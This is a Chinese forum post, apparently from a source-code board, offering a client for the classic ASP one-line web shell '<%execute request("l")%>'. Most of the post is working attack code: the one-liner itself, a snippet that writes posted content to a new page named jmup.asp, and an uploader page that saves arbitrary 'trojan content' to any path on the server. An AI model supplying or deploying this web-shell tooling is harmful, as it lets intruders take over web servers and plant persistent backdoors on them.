7万
861
32万
论坛元老
一句话木马连接客户端 -- BY 寂寞的刺猬 @ 520000796 一句话木马(<%execute request("l")%>) 的本地连接客户端
一句话木马(<%execute request("l")%>) 的本地连接客户端
ASP URL: 生成asp页名称: set lP=server.createObject("Adodb.Stream") lP.Open lP.Type=2 lP.CharSet="gb2312" lP.writetext request("p") lP.SaveToFile server.mappath("jmup.asp"),2 lP.Close set lP=nothing response.redirect "jmup.asp" </textarea> 上传内容: <% dim objFSO %> <% dim fdata %> <% dim objCountFile %> <% on error resume next %> <% Set objFSO = Server.CreateObject("Scripting.FileSystemObject") %> <% if Trim(request("syfdpath"))<>"" then %> <% fdata = request("cyfddata") %> <% Set objCountFile=objFSO.CreateTextFile(request("syfdpath"),True) %> <% objCountFile.Write fdata %> <% if err =0 then %> <% response.write "save Success!" %> <% else %> <% response.write "Save UnSuccess!" %> <% end if %> <% err.clear %> <% end if %> <% objCountFile.Close %> <% Set objCountFile=Nothing %> <% Set objFSO = Nothing %> <% Response.write "" %> <% Response.write "保存文件的绝对路径(包括文件名:如D:\web\x.asp):" %> <% Response.Write "" %> <% Response.Write " " %> <% Response.write "本文件绝对路径" %> <% =server.mappath(Request.ServerVariables("SCRIPT_NAME")) %> <% Response.write " " %> <% Response.write "输入马的内容:" %> <% Response.write "</textarea>" %> <% Response.write "" %> <% Response.write "" %> </textarea> [Ctrl+A 全选 注:如需引入外部Js需刷新才能执行]
使用道具 举报
0
2万
186
注册会员
66
55
1万
100
中级会员
1
59
本版积分规则 发表回复 回帖后跳转到最后一页
手机版|小黑屋|网站地图|源码论坛 ( 海外版 )
GMT+8, 2024-11-24 20:19 , Processed in 0.070167 second(s), 26 queries .
Powered by Discuz! X3.4
Copyright © 2001-2020, Tencent Cloud.